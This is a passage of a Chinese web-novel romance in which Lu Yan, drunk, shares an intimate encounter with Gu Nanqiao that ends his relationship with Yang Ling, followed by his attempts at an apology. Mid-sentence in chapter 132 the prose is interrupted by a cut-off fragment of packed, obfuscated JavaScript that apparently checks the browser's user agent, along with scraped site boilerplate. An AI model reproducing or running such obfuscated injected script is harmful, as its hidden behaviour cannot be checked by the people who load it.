她说:“你看,下学期我要准备公务员考试和毕业论文......你要努力工作,可不就没机会见面了吗。我和以前的朋友都这样,一段时间不见面,感情就淡了,然后就更不会见面了。” 看着她微微坨红的脸颊,话语如同耳边呢喃的轻语,真实地击中了某块柔软地带。 “苏棠......你这是要杀了我吗?” 他真不能再喝了,一会断片了怎么办? “吃不?” 白净的手,两根手指捏着一块鸡翅,递过来。 和中午的鸡腿不同,这次陆砚毫不犹豫就啃了下去。 然后笑着说:“苏棠,女孩子还是要注意点形象的,你看你,弹吉他的手满手油,不就像个小孩子嘛?” 她一如既往地易燃,把手在他身上擦干净,递来一杯酒,说: “本来想放你一马的,真的!” “噢?现在改主意了?” 看着递来的奶啤杯,陆砚自然硬气。 要知道,‘喝不了’只是一种为了维持清醒状态的、有预谋的刹车。 但这奶啤......三度小饮料,就是喝到胀死,也不可能醉啊! “干杯!陆师傅!” “哟哟,小丫头精神可嘉。” 然后陆砚一饮而尽,才发觉不对—— 这酒,成分复杂! ...... 陈禹不知道杨灵家在哪,但他可以叫代驾把陆砚送回家。 到小区楼下的时候,手机响了,陈禹帮他接的。 给杨灵说明情况后,两人晃晃悠悠来到204门前。 他的视角里,陆砚似乎好了点,还意识清醒的问‘要不要留下来,大半夜的,免得把颜朵吵醒了’。 然而陈禹正顺着提议思考时,门突然从里面开了—— 吓了他一跳。 “你......” 顾南乔也很头疼如今的局面,她都打算睡下了,又听到门外声响。 躲起来吧,显得心虚;不躲吧,又容易被误会。 伸头缩头反正是一刀,索性勇敢面对: “需要我帮你打车吗?今天这里没空房间了......要是你们睡一起,也行。” 然而她哪里知道,陈禹一下子酒都醒了大半,把人递过去转身就走了。 这......这,玩得花呀,哥们! 第一百三十二章 审判 静悄悄的夜晚,房间一男一女......索性陆砚酒量不错,此时理智依然在线。 就是底线之上,免不了些**动罢了: “顾南乔!你还敢出现!” 他‘愤怒’地按住对方的肩膀,实则心里畅快得不得了: “快说,又抽什么风,拉黑连个理由都没有!” “一身酒味,别碰我。” “哟呵,还敢转移话题?” 没有接着吃豆腐,松开手,走向沙发。 他有很多感受想拿出来谈论,就比如,今天如何受到启发、走出困境。 作为曾经的难兄难弟,他知道顾南乔也经历着人生低谷......不然怎么会钻到这间破旧的老房子呢? 顾南乔带上门,准备回房间睡觉,偏偏陆砚坐沙发上像个大爷似的喊道: “顾姐别走,我有话要说。” 她回头,反复确认对方不是发酒疯,想了想,还是在旁边坐下。 两人保持半米距离,既不像朋友,也不像恋人。 但是不影响陆砚的谈兴: “虽然你做事不地道,但我不是来批评你的。” 她撇了撇嘴,没反驳。 “乔乔,我顿悟了。往后我要向前看。” “是是。” “你也要向前看。” “知道啦。” “可能你不懂我在说什么。” “哎呀烦死啦!你乐意说你就继续说吧,我去睡觉了!” 她的情绪比酒后的男人还要无常。 陆砚被这大分贝的一声喊得有点发愣。 不知道为什么,曾经可以抱头痛哭的好兄弟、可以毫不避讳把最不堪的一面展示出来的好兄弟,如今竟隔着一层可悲的厚障壁了。 当然,如今心境大放光明,自然不会让她带着情绪离开。 于是伸手回拽她的手,不料力气大了点,将人也拽了过来。 她就这样,转了个身,向前扑倒...... 陆砚的手指还僵在她手腕上,力道没收住的瞬间,人已经撞进怀里。 柔软的躯体带着温热的气息扑过来,像团突然点燃的火,烫得指尖发麻。 还没等看清她微颤的睫毛,后颈就被一双微凉的手扣住,紧接着,嘴唇便覆上了柔软的触感。 那一瞬间,世界像被按了暂停键。脑子里嗡的一声,所有的念头都被震碎成白噪音。 唇瓣相贴的柔软是实的,她鼻尖蹭过他脸颊的痒是实的——可他整个人却像悬在半空,连呼吸都忘了调配。 下一瞬,像是堤坝突然决了口。 那些被死死摁住的渴望、压抑了太久的欲想,顺着这道柔软的缝隙疯涌出来,理智像被潮水卷走的沙,瞬间褪得干干净净。 他猛地收紧手臂,将怀里的人勒得更紧,仿佛要嵌进自己骨血里。唇齿间的试探、缠绵,变成了凶狠的掠夺,他用力吮吸着,甚至尝到了一丝淡淡的血腥味—— 咬破了她的唇。 可他停不下来。 手掌不受控地抚上她的背,隔着薄薄的睡衣,能清晰地摸到腰线的弧度,紧致又滚烫。 指尖一路下滑,挪腾,再向上时,猝不及防地覆上了柔软的丰盈。 那触感惊人地细腻,带着少女独有的弹性,透过布料传来,像电流窜过四肢百骸。 他下意识地捏了捏,指腹陷进那片温软里。 就在这时,一丝极其细微的异样猛地窜进脑海。 是......不一样的。 不是记忆里那种熟悉的轮廓,也不是早已刻在骨子里的触感。 这柔软带着陌生的弹性,像颗没尝过的糖,甜得突兀,甜得让人心慌。 “唔——” 怀里的人被他突然的停顿弄得轻哼一声。 陆砚像被针扎了似的,猛地向后撤开。 唇瓣分离的瞬间,双方的目光在空中连成线,随即断成水珠,落在她泛红的唇角。 他喘着粗气,额角的青筋突突直跳,眼神里还残留着未褪的猩红,却又被骤然清醒的茫然盖了层霜。 怀里的人还仰着头,嘴唇红肿,眼里蒙着水汽,陌生又熟悉的脸庞在昏暗中晃动。 ...... 月色覆在树梢,树梢泛着白,不知是结的霜,还是天上的光。 两人的呼吸在咫尺间交缠,带着未散的酒气和急促的喘息。 顾南乔的裙摆还皱在陆砚腿间,隔着薄薄的布料,能清晰地感受到对方的异样,身体瞬间僵住,却偏要维持着坐姿不动。 像一场危险的赌局,她把所有筹码都压在他的反应里—— 只要他喉结滚动着说一个‘不’字,她会立刻从这滚烫的怀抱里弹起来,抓起外套就走。 哪怕关门时手会抖,也,绝不会回头多看一眼。 ......可心里的堤坝早已在这几天的拉扯里溃不成军,那些被压抑的渴望、无处安放的委屈,此刻正顺着刚才那个吻的缺口疯狂涌出来。 她需要一个结果,哪怕是粉身碎骨。 “乔乔......” 陆砚的声音带着刚从混沌里挣脱的沙哑,手臂突然收紧,把她往怀里按得更紧。 原本抵着的额头滑开,温热的脸颊贴在了一起,他胡茬的触感蹭得她皮肤发麻。 顾南乔的心猛地一跳,像被什么东西狠狠攥住,又骤然松开。 这突如其来的贴近,像无声的允诺,让她几乎要溺在他胸腔传来的剧烈心跳里。 血液冲上头顶,连呼吸都带着颤音,她甚至已经想好,如果他再靠近一点,她就不管不顾了...... “我们......不可以。” 冰冷的字句像淬了霜的针,猝不及防扎进滚烫的心脏: “我只能爱一个人。” 琉璃摔落在地上,话音崩碎了幻想。 近在迟尺的梦境飘然离去,顾南乔的眼泪瞬间决堤,滚烫的液体砸在陆砚的脸颊上,顺着他的下颌线往下淌,像冰锥一样凉。 她明明告诉自己要体面,可身体却像被抽走了骨头,贪恋地陷在这怀抱里不肯动。 那点仅存的温暖,此刻却成了凌迟的刀,把一颗心割得七零八落: “我早说了,我要去睡觉,你偏要拉着我!” 把脸埋进他的颈窝,温热的呼吸喷在敏感的皮肤上,声音却碎得不成调,每一个字都带着哭腔的撕裂感。 陆砚的脑子像被冷水浇过,混沌渐渐散去,只剩下清明的刺痛。 没有一个男人可以拒绝她的魅力,就像一只结束冬眠的熊,无法抗拒蜂蜜的芳香。 可他的根,扎在一片朴实的土壤下,经由着淳厚的文明浇灌,长不出妖艳的花瓣。 环在她腰间的手缓缓松开,指尖还残留着腰线的温度,声音低哑: “是我不对,我道歉。” “道歉就完了?” 顾南乔猛地抬起头,泪眼模糊地瞪着,睫毛上还挂着泪珠,“陆砚你个王八蛋!吃着碗里的看着锅里的,你就是个渣男!你做都做了,现在装什么君子......” 指责的词汇像连珠炮一样砸过来,陆砚任其骂着,只是不停地拍着她的背,等她声音里的哭腔渐渐平复。 可下一秒,颈侧突然传来一阵湿热的柔软——她凑过来,要在那片显眼的皮肤上留下痕迹。 “乔乔!”他猛地偏头躲开,声音里带了急,“别这样,好吗?” 这一刻,陆砚开始怕了。 完全不敢想象,被吻痕引来的、彻底暴露的道德审判,到时候会是多么惨重。 她的唇停在半空,眼里闪过破釜沉舟的疯狂: “非要这样呢?” “那我也没办法。只是......我会恨你。” “恨就恨!” 她梗着脖子喊,眼泪却又涌了上来,“反正我早就恨死你了!” 话虽如此,抵在他颈侧的唇却慢慢收了回去,只剩下急促的呼吸打在皮肤上。 陆砚悄悄松了口气,双手撑住她的肩膀,轻轻推开一点。 两人的视线在空中狠狠相撞——她的眼睛里翻涌着太多东西,被拒绝的不甘,深藏的哀伤,还有一丝被全世界遗弃的痛苦,像潮水一样拍过来,几乎要将他淹没。 可陆砚的目光却越来越稳。 他看着她泛红的眼角,看着她颤抖的唇,心里某个角落确实被刺得生疼,但更多的是一种不容动摇的坚定。 这从来不是选择题,答案的名字也只能是两个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她深吸一口气,努力让胸腔里的震颤别传到声音里: “你说......你是故意让陈禹接电话,说你喝多了,为了今晚不回家......是吗?” 每个字都咬得很轻,却像冰粒一样砸在地上。 “不是的灵灵!”陆砚猛地站起来,“那时候我真的晕了,醒来就在这儿了,我......” 杨灵没听那些句子,目光越过他,死死钉在顾南乔身上。 顾南乔的头埋得更低了,肩膀像秋风里发皱的叶子,可那红肿的嘴唇,是无声的嘲讽,在她眼前晃来晃去。 陆砚想伸手拉她。 指尖刚要碰到,杨灵被烫到似的,猛地后退一步。 那一步退得又快又急,带着不容置疑的抗拒。 “别来找我。”她开口,声音里没什么起伏,只有尾音微微发颤,绷到极致,“别跟上来。” 说完转身就走,没再看陆砚一眼,也没看沙发上的顾南乔。 手里的塑料袋‘啪’地掉在地上,里面的醒酒药瓶滚出来,在玄关的瓷砖上撞出清脆的响,还有那瓶没开封的牛奶,瓶身被摔得裂开,乳白色的液体慢慢渗出来,在地上洇开一小片湿痕。 陆砚僵在原地,看着那扇关上的门,听着楼道里渐行渐远的脚步声。 刚才杨灵转身时,他分明看到她挺直的脊背,像根被压弯却不肯断的竹。 胸口,被什么东西狠狠砸了一下,紧接着,是铺天盖地的崩塌。 那声塑料袋落地的轻响,在心里炸成了海啸,卷走了所有的侥幸,所有的辩解,只剩下一片狼藉的废墟。 他知道,她没歇斯底里,不是不疼,是疼到了极致,连喊都喊不出来,只能用转身的决绝,藏起胸口正在汩汩流血的伤口。 而那句‘别跟上来’,像根系在他心上的线,一头是她强装的冷漠,另一头,是他不敢去碰的、她藏在眼底的,那点微弱却滚烫的......期待。 第一百三十三章 人与厚障壁 陆砚的理智被那声塑料袋落地的脆响震碎了,血液瞬间冲上头顶。 他猛地就往外冲,手已经摸到了门把手,“陆砚!” 手腕突然被死死攥住。 顾南乔的指甲,带着她未干泪痕的温度,烫得人一哆嗦。 “松手!” 他吼出声,声音里全是没压住的焦躁,另一只手去掰她的手指,“杨灵她......” “你别去!” 女人的声音劈了叉,眼角还挂着泪珠,睫毛湿漉漉地粘在眼下, “灵灵正在气头上,你现在去说什么都没用!让我去......我跟她解释,我一定能说清楚的,相信我,好吗?” 她的声音裹着一层薄薄的颤抖,像易碎的玻璃,可内里那点空落落的破碎感,却像冰锥一样扎进男人心里。 他怎么会不相信她? 顾南乔是......在信任的名单里,她永远排在前面。 可此刻,这份信任幻化成了他懦弱的借口——他想追出去,脚却像灌了铅。 脑海里全是杨灵转身时的背影,挺直的,决绝的,没有一丝留恋。 他怕追上去,看到她眼里的失望。那种比愤怒更伤人的眼神,会把他彻底碾碎。 更怕听到‘我们完了’,怕那句陆砚连想都不敢想的话,从她嘴里说出来,变成板上钉钉的事实。 酒彻底醒了,胃里空荡荡地发疼,比宿醉的头痛更甚。 他辜负了杨灵,那个全世界最好的女人。 她给了他全部的信任和爱,他却用一个失控的吻,一场荒唐的拉扯,把一切都毁了。 至于顾南乔......对她的那点好感,在对杨灵的爱意面前,轻得像羽毛。 呵,偏偏是这根羽毛,此刻成了,压垮骆驼的最后一根稻草! “乔乔......”声音软了下来,带着自己都唾弃的乞求,“帮帮我。” 说完就后悔了。 他在让一个,刚刚被自己拒绝、被自己弄得狼狈不堪的女人,去帮忙挽回另一个女人。 这是把她的自尊踩在脚下,是最卑劣的利用。 可别无选择。 他不敢自己去面对,只能抓着顾南乔这根浮木,像抓住最后一丝希望。 顾南乔看着他眼底的慌乱和挣扎,吸了吸鼻子,没再说话。 转身冲进房间,几秒钟后拿着件外套跑出来,连睡衣的领口都没来得及理,抓起钥匙就往门口冲。 “我去了。” 她丢下这句话,门‘砰’地关上,留下满室的寂静。 陆砚僵在原地,手心全是汗。 他知道自己有多浑蛋,知道顾南乔此刻心里有多疼,可此刻心里翻涌的,全是另一个人。 甚至在想,顾南乔会不会出去得太慢,会不会杨灵已经走远了,会不会…… 靠着冰冷的墙壁滑坐下去,头抵着膝盖。 原来人真的可以在同一秒里,既痛恨自己的软弱,又无比清晰地确认——杨灵是这辈子,无论如何都不能放手的人。 哪怕要伤害别人,哪怕要背负愧疚,也想要把她追回来。 窗外的风灌进来,带着夜的凉意。 男人抬手捂住脸,指缝里漏出一声极轻的叹息,像在嘲笑自己的懦弱,又像在祈祷顾南乔能带来好消息。 ...... 人和人之间一定会隔着一层膜,透过这层膜,你以为你看到了真实的她,指尖传来柔软的触感,你以为你触碰了真实的她。 你的爱,你的厌恶,你的种种,都透着这层膜带来的幻觉,人们由着幻觉喜怒哀乐,又在幻觉里,自我剖析、自我顿悟。 小区的路灯昏黄,把树影拉得老长。 往里走二十米,门楼的石凳泛着夜的凉意,陆砚就蜷在那上面。 工装夹克的拉链拉到顶,还是挡不住风往骨缝里钻。 他没抽烟,压根没有这习惯;也没喝酒,手边空无一物。 他在等。 可这等待本身就透着荒唐—— 等得到,是要面对那场迟来的对峙;等不到,反倒是种侥幸。 陆砚望着远处的黑暗,仿佛看见了杨灵家那栋楼的单元门,高楼的窗户黑着,视线无法穿透。 或许顾南乔还在她家,正绞尽脑汁地解释,试图把这团乱麻理出个能见面的缺口。 或许杨灵累了,顾南乔也乏了,两个姑娘已经靠在沙发上睡着了,呼吸轻得像羽毛。 他更愿信后者。 甚至荒唐地想,要是能换杨灵一夜无梦,哪怕明天她笑着说‘算了’,他也认。 这念头刚冒出来,就被自己掐灭了—— 他哪有资格做这种交易? 石凳的凉意透过薄薄的裤料渗上来,冻得他指尖发麻。 大脑像被水洗过,清醒得很,连平日里模糊的细节都变得尖锐: 杨灵以前吃醋,因为他和卖花姑娘说笑了几句,她红着眼圈说‘我就是小气’;她第一次跟他牵手,手指紧张得蜷成拳,掌心全是汗;她总说‘陆砚,你要对我好’,眼里的光比星星还亮。 这样的姑娘,怎么会接受一个在深夜里和别的女人纠缠的初恋? 这章没有结束,请点击下一页继续阅读!月色漫过肩膀,亮得有些残忍。 那些没说出口的愧疚、失控的瞬间、被欲望冲昏的片刻,全被这月光晒得清清楚楚,像趴在地上的污泥,藏都藏不住。 痛吗? 痛的。 但不是那种能让人打滚的疼,他已经没了撕心裂肺的气力。 或许是之前已经熬透了,精神早流干了,剩下的这点疼,竟掺了丝奇怪的解脱。 不是不爱了。 是突然觉得,现在这样乱糟糟的自己,确实不配站在她身边。与其让她跟着自己耗,不如先把日子过成个人样—— 哪怕这‘模样’里,暂时没有她。 陆砚抬手按了按眉心,指腹蹭过突突跳动的太阳穴。 未来该怎么做,像张清晰的图纸在脑子里铺开: 先把工作拾掇好,把欠的人情还了,把那些乱七八糟的关系厘清。 然后呢? 然后等。 等自己能站直了,能拍着胸脯说‘我干净了’,再去找她。 哪怕到时候,她身边早有了别人...... 低头笑了笑,笑声闷在喉咙里,带着点自嘲。 这辈子要是真跟她错过了,大概也就这样了。 酒吧的喧嚣、旁人的热闹,都入不了眼了。 孤寂就孤寂吧,总好过再把谁拖进这摊浑水里。 夜风掀起夹克下摆,吹得他打了个寒颤。 陆砚直了直脊背,从石凳上站起来。 膝盖麻得发僵,动一下都咯吱响。 清醒得很,从没有如此清醒过,该做的事,得做。 先去跟杨灵好好道个歉,不辩解,不推诿,把该认的错都认了。 然后转身,一步一步往前走。 至于赎罪—— 或许是下次遇见时,能坦荡地问她一句‘过得好吗’;或许是在她看不见的地方,把日子过成她曾期待过的样子。 陆砚望着那扇漆黑的窗户,喉结滚了滚。 悲伤像潮水,漫上来,又退下去,留下湿漉漉的痕迹。 但他攥了攥拳头,指节发白,步子迈得很稳。 往前走吧。 哪怕带着这身伤,带着这腔憾,也得往前走。 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第一百三十四章 心野 黑夜里的风带着凉意,把那声‘陆师傅’吹得有些飘忽。 陆砚愣了愣,疑心是自己熬得太久,出现了幻听。 直到那道影子从树后挪出来,皮鞋踩在石板路上的声响越来越近,才看清来人的轮廓。 “刘师傅。” 他站起身,夹克的褶皱里抖落些夜风,“大半夜的,这么巧。” 老刘搓了搓手,咧嘴笑了笑,眼角的皱纹在路灯下挤成沟壑: “害,不是张罗着早餐铺嘛,凌晨三点就得起来备料。” 陆砚‘哦’了一声,心里才惊觉—— 原来已经凌晨三点了。 他望着老刘手里那个印着油渍的保温桶,鼻尖忽然有点发酸。 “陆师傅你这是......” 老刘的目光在他身上打了个转,带着点小心翼翼的关切。 陆砚扯了扯嘴角,夜里光线暗,他猜对方未必能看清那笑容里的苦涩。 至于现在...... 总不能说‘我在等一个可能永远不会来的结果,等一个被我搞砸了的爱情’。 话到嘴边,只剩下一句:“被生活重锤了,在这疗疗伤。” 老刘‘唔’了一声,看着他的眼神忽然软下来。 这场景太熟悉了—— 两个月前,他自己就是蹲在这石凳上,就着一瓶石库门老酒,把中年人的委屈往肚子里咽。 那会儿也是这个年轻人,不声不响地过来,听他絮叨了半宿,没打断,没评价,就那么安安静静地陪着。 夜风卷着落叶滚过脚边,老刘看了眼手机,离出摊还有点时间,便往石凳上坐了半屁股: “陆师傅,是工作上的事不顺心吧?” “......对。” 话一出口,灵魂就直呼男人虚伪。 此刻像是给自己找了个台阶,顺着这借口往下演,竟也有了几分真实的疲惫—— 工作不顺,总比坦白那摊烂事体面。 他甚至入戏了,能感觉到自己的肩膀微微垮下来,真就成了个被生计压得喘不过气的男人。 “现在这行情......前不久还有一窝人堵在领导办公大楼前面嚷嚷呢.......大生意不好做,倒不如小买卖实在,像我这早餐铺,挣得不多,至少踏实。” 他本就不是个爱说话的,此刻搜肠刮肚想安慰人,倒显得有些笨拙,比起当初陆砚安安静静的陪伴,实在差远了。 老刘自己也觉得这话干巴巴的,挠了挠头。 对了。 忽然眼睛一亮,往前倾了倾身子,声音压得低了些: “......不知道你们做不做外地的活儿?我一个表亲,在苏州开民宿,一直说要重新装修一下,就是......就是预算可能不太宽裕。” 他说得磕磕绊绊,眼神里带着点不确定,像是怕自己这提议太寒酸,唐突了人。 陆砚起初只是礼貌性地应着,听到‘装修’二字时,涣散的神思才稍稍聚拢了些。 苏州,民宿,装修...... 这些词在脑子里打个转,就知道和老洋房差了多远,像颗投入湖面的石子,漾开一圈浅浅的涟漪,却没激起太大的波澜。 “多谢刘师傅想着。” 他扯回思绪,往老刘那边欠了欠身,“您先忙着出摊,这事咱们改天再细聊?” 老刘看他应下了,脸上顿时松快不少,忙不迭点头: “哎哎,成!我这就过去了。” 拿起保温桶,脚步匆匆地往小区外走,夹克的背影很快融进夜色里。 陆砚重新坐回石凳上,凌晨的风更凉了,吹得他太阳穴突突地跳。 苏州的活儿...... 他模模糊糊地想着,心里却像被什么东西堵着,那点关于工作的念头,很快又被杨灵的影子覆盖了。 老刘脚步渐远,仿佛可以看见远处早餐铺的方向隐约传来蒸笼揭开的白汽声。 他掏出手机,屏幕亮起又暗下,没有新消息。 夜还很长。 ...... 苏棠摸钥匙开门进来,客厅的灯‘啪’地亮了,女人抱着胳膊站在玄关,影子被灯光拉得老长,一看就等了许久。 “苏棠!”她妈伸手拧住她的耳朵,力道不算重,却带着不容置疑的威严: “懒丫头现在学坏了是吧?大晚上不回家,还敢在外头鬼混!当初怎么跟我保证的?哟呵,还喝了点呀!驻唱要用酒精开嗓?我看你是借唱歌的由头野疯了!” 耳朵被拽得微微发烫,苏棠却歪着头笑: “妈,就抿了一小口,朋友起哄呢。” “还笑!” 女人手上稍一用力,苏棠立刻夸张地‘哎哟’一声,她才松了劲,却依旧瞪着眼睛: “越来越没脸没皮了。知道现在几点了?差十分十二点!我天天起早贪黑开店,你爸天天往外出差,是让你在外头混到半夜的?” 苏棠乖乖听着,手指绕着吉他背带打圈。 她知道对方就是刀子嘴,真要是动气,早在进门时就把吉他没收了。 果然,唠叨了没几句,她妈看了眼墙上的挂钟,打了个哈欠: “行了行了,赶紧洗澡睡觉,我明天七点就得起来备料。” 脚步声消失在卧室门后,苏棠立刻直起腰,吐了吐舌头,脸上的乖巧瞬间换成得意的笑。 她对着空气挥了挥拳头——就这就这?下次还敢! 钻进房间,把吉他轻轻靠床边,她开始脱衣服。 外套扔在椅背上,衬衫随手搭在床尾,解完内衣扣子,哼着歌走进浴室。 热水‘哗哗’地冲在瓷砖上,氤氲的热气很快漫了满空间。 苏棠站在花洒下,忽然‘呀’了一声,猛地推开门冲出去,跑到床边。 手腕上还戴着那只红色手环,塑料表面沾了点水汽。 她小心翼翼摘下来,用干净纸巾一点点擦干,连内侧的缝隙都没放过,然后轻轻放在枕头边,像藏了件宝贝。 做完这一切,才又溜回浴室,水声里混着她自由调的哼唱,把刚才那点被骂的小插曲,早抛到九霄云外去了。 她盯着镜子里的自己,脸颊被热气蒸得红扑扑的。 抬手摸了摸手腕,空荡荡的,却好像还留着点什么温度。 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第一百三十五章 纪念日 天刚蒙蒙亮,再次看了眼手机,六点四十,没有消息。 陆砚洗了把脸,专门绕道去老刘那买了两份早餐,接着,便把车开到长宁区文化和旅游局。 七点二十五,距离上班还有一个半小时,他突然摸到了昨晚写的信纸,还好,时间可以再去枫糖花店买束花。 此刻,顾南乔在酒店醒来。 简单梳洗过后,下楼。 发动那辆粉色路虎时,引擎的低鸣在空旷地下车库里格外清晰——这是最后一次开它了。 车子汇入早高峰的车流,往静安别墅的方向去。 算来今天该是个值得纪念的日子,银行的人会来清点资产,而她既是来见证从小住到大的房子易主,也是来归还这件‘大额资产’的。 相比于三天前,如今她显得更平静,在匆忙的车流中,开得不快不慢。 一会想起不那么快乐的童年。街边的梧桐树知道,自己曾背着书包站在巷口,等来了父亲和母亲之外的女人,当街卿卿我我; 一会缅怀已经逝去的幸福。她和杨灵在异国他乡的秋千上分享各自的秘密,阳光透过叶隙落在她们发梢,那时以为友情会像院子里的老紫藤,年复一年地爬满整个花架。 下雨了。 雨痕模糊的漫上车窗,又被轻轻刷掉—— 至于未来会过什么样的日子,银行卡里还剩多少余额,她没力气去想。 旁边车道的BYD突然并线,司机透过后视镜看了她一眼。 因为底盘高度差了一截,他得微微仰着头,那眼神里有什么,顾南乔没看清,也懒得去猜。 或许在他眼里,开粉色路虎的女人总该活得光鲜亮丽,就像这车子的颜色一样扎眼。 可他不会知道,再过几个小时,这辆车就将被清点,而她的身价,会比他仪表盘上跳动的里程数还要干净。 顾南乔扯了扯嘴角,自嘲地弯了弯眼睛。 到底是不懂事,还是愚蠢? 被人卖了,到现在居然还在心里反复摩挲那些碎掉的友情片段,活脱脱一个被掏空家底的败家子。 ...... 眼看到了八点五十,陆砚还是给顾南乔发去消息,问问情况。 这次没有红色感叹号,但和之前一样石沉大海。 苏棠站在旁边很有精神的吃着茶叶蛋。 她说,有必要针对高消客户做一次线下了解,然后就当着亲妈的面,上了他的车。 今天也确实属于高消费,足足一大捧玫瑰。 男人知道,如今做什么都显得廉价,甚至还不如什么都不做、放开手可能彼此都好受些。 可......应该道歉。 熬了一个晚上之后,陆砚深知求得原谅是遥不可及的事,但,应该道歉。 有机会的话,好好告个别吧。 人一生都在做着告别,所以自己应该坦然接受,不是吗? “陆师傅,你不会要被甩了吧......” “苏棠,你不适合做一个歌手。” “为什么!” 她比陆砚还要快的破了防,竟然可以放下表皮没断的茶叶蛋,专心其他话题。 “大家都夸我唱歌好听,你说说我声音哪不适合了?” “因为听上去十分欠揍。” “...” 不知道为什么,她一点都没生气,甚至在对方的回答中,得到了治愈—— 真要分手了啊...... 作为交换了手环的挚友,此刻有义务上去安慰一番,以此彰显友情万岁。 “咳咳,茶叶蛋——” 就当她准备采用食物疗法时,捧着花的男人已经向前迎去。 飘飘雨丝中,藏青色西装套裙裹着清瘦的肩背,酒红色围巾绕了两圈,几乎遮住半张脸。 她的手插在西装口袋里,步伐不快,每一步都像踩在湿漉漉的记忆里。 “灵灵。” 杨灵停下来,看着他。 陆砚头一次看到女人的气色如此不好,这一刻,他衷心希望听到对方提分手,希望对方在解脱中能够好受些。 可是目光落在那条围巾上,他有同款。 而且他们的围巾上都绣着‘L’和‘Y’两个字母。 曾经磕磕绊绊学着如何穿针引线,如今对方带着这条颇具意义的围巾,似乎又给了男人力量。 “我......” 陆砚是来道歉的,但临了多一个字都说不出来。 还好手中捧着花,花里面有厚厚的信纸,那上面,有想表达的内容。 花束刚要递出的瞬间,瘦高男人像从雨幕里裁出来的影子,斜刺里插了进来。 他没看苏棠,也没看杨灵,只把视线钉在陆砚脸上,那目光像淬了冰的锥子,又尖又冷—— 与其说是敌意,不如说藏着点‘我早知道你会贴上来’的嘲弄,像根无形的针,先一步刺破了空气中那层薄薄的侥幸。 “杨老师!” 苏棠没察觉这剑拔弩张的气场,踏过洇着水的石板路,声音脆生生的,把凝固的空气敲出了道缝, “今天这雨下得跟撒娇似的,黏糊糊的!” 本小章还未完,请点击下一页继续阅读后面精彩内容!杨灵喊声牵得动了动,藏在围巾里的半张脸终于微微抬起。 雨丝落在她露出来的下颌线上,顺着弧度往下滑,而更扎眼的是她的嘴唇—— 红肿得发亮,唇角还凝着点破皮的红,像被什么东西反复碾过,又带着点慌乱的用力。 陆砚的呼吸猛地顿住。 那瞬间,脑子里像有串鞭炮点燃,‘嗡’的一声炸开。 昨天那个模糊的、被他强行压下去的画面突然清晰起来——顾南乔凑过来的脸,带着酒气的呼吸,还有……他没推开的瞬间。 而眼前这双红肿的唇,像面镜子,镜像里,她......她...... 他所有的侥幸、麻木连同着煎熬了许久的心,都被狠狠撕裂。 最后那点支撑着他的冷静,碎得连渣都不剩。 “你的嘴……怎么了。” 这问句带着点失控的打探,像溺水者胡乱抓着的稻草,和攥了整夜的‘对不起’毫无关系。 他明明该说‘对不起’的,该把花递过去,把信里的话念出来,可此刻所有的理智都被那抹红肿冲散了。 杨灵站在离他半步远的地方,雨丝在两人之间织着透明的网。 她慢慢抬手,去解颈间的围巾。 指尖泛白,动作很慢,酒红色的羊绒一圈圈滑落,露出纤细的锁骨。 “我只是想知道,” 她的声音很轻,像雨丝落在花瓣上, “究竟要多忘我,才会连嘴唇都咬破了。” 围巾被轻轻放在他怀里,带着她身上残留的温度,压得那捧玫瑰沉甸甸的。 两人错身而过。 花束里的信纸,应该,再也送不到该去的地方了。 ...... 车子拐进熟悉的巷口,静安别墅的铁门大敞着。 前院的石板路被车轮碾过,‘咯噔’地响。 银行的人还没来,雨中能听见风吹过玉兰树的声音。 推开主楼大门时,她下意识地停了停。 大厅空荡荡,地板上留着深浅不一的印痕,那是沙发、茶几、博古架曾经的位置。 墙上还挂着几个孤零零的挂钩,是挂吊灯和古董画用的,此刻垂在半空,像被剪断的脐带。 从前进门,总会先被客厅的富丽晃一下眼—— 父亲最宝贝的那张黄花梨棋盘,总摆在靠窗的紫檀木几上,边角被摩挲得发亮。 现在,那个位置只剩一块比周围地板略浅的印子。 顾南乔的脚步顿了顿。 那棋盘是顾明远年轻时收的,陪着熬过无数个谈判的深夜,也见证过她趴在旁边看父亲和老友对弈的童年。 它在这个家里待了二十多年,比她在国外读书的时间还长。 指尖在裤缝上蹭了蹭,她慢慢走过去,在那块浅印旁蹲下。 沙发没了,椅子也没了,那就坐地上吧。 她选了曾经放沙发正中央的位置,慢慢蜷起腿,后背靠着冰冷的墙。 从这个角度看过去,光线刚好落在对面的白墙上,像从前透过落地窗洒在地毯上的光斑。 顾南乔盯着那片光,忽然觉得,这样坐着,好像也没什么不一样。 不,不。 还是快点结束这漫长的撕扯吧,要么大家一起轰轰烈烈死去,要么...... 各自向前,获得新生! 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第一百三十六章 无法共情的事实 车窗上的雨丝落得懒,细弱地爬过玻璃,没等连成线就断了。 陆砚驾着车离开了那湿漉漉的一幕,离开得坚定。 跨越两三条街道,车子开到老洋房。 老洋房远远看去气色不错,就和他一样。 “陆师傅,你怎么一点都不伤心呢?” “有什么好伤心的?” “可是杨老师没接你的玫瑰花。” “没递出去的花,算不得谁没接。” 稳稳停在前院一如既往停车的位置,下车。 戴围巾的男人朝屋内走,小姑娘捧着花在门外等。 灰蒙蒙的天压得低,怀里的玫瑰却像攒了半个季的光,红得透亮,连她的指尖都泛着暖光,在沉郁里轻轻跳。 苏棠跺着脚,四处扫视,世界好像就剩下他们俩。 倘若此时有把吉他,那一定可以歌唱很久很久...... 陆砚再出来的时候,手上戴着施工手套。 “小苏,花给我。” “现在我已经不是实习生了,叫我名字!” “苏棠。” “欸。” 她应得脆,满意把怀里花束递过去,猜到了对方要做什么。 “陆......叔叔,我我,不确定能不能栽活的。” ‘苏棠’明显比‘陆砚’好听,也好念得多了,所以小姑娘口述的时候被烫到改口。 他走到铁艺栏杆前蹲下,伸手拔除一片杂草,然后抽出一枝玫瑰,翻土,栽下,覆拢。 第二枝、第三枝...... 根茎没入土壤,像埋葬着过往,男人一丝不苟,献上全部仪式感。 花束一只只插在了老洋房的前院,厚厚的信封用油纸裹着,也埋进了进去。 苏棠满意点点头,比第一次看哈姆雷特还要目露欣赏。 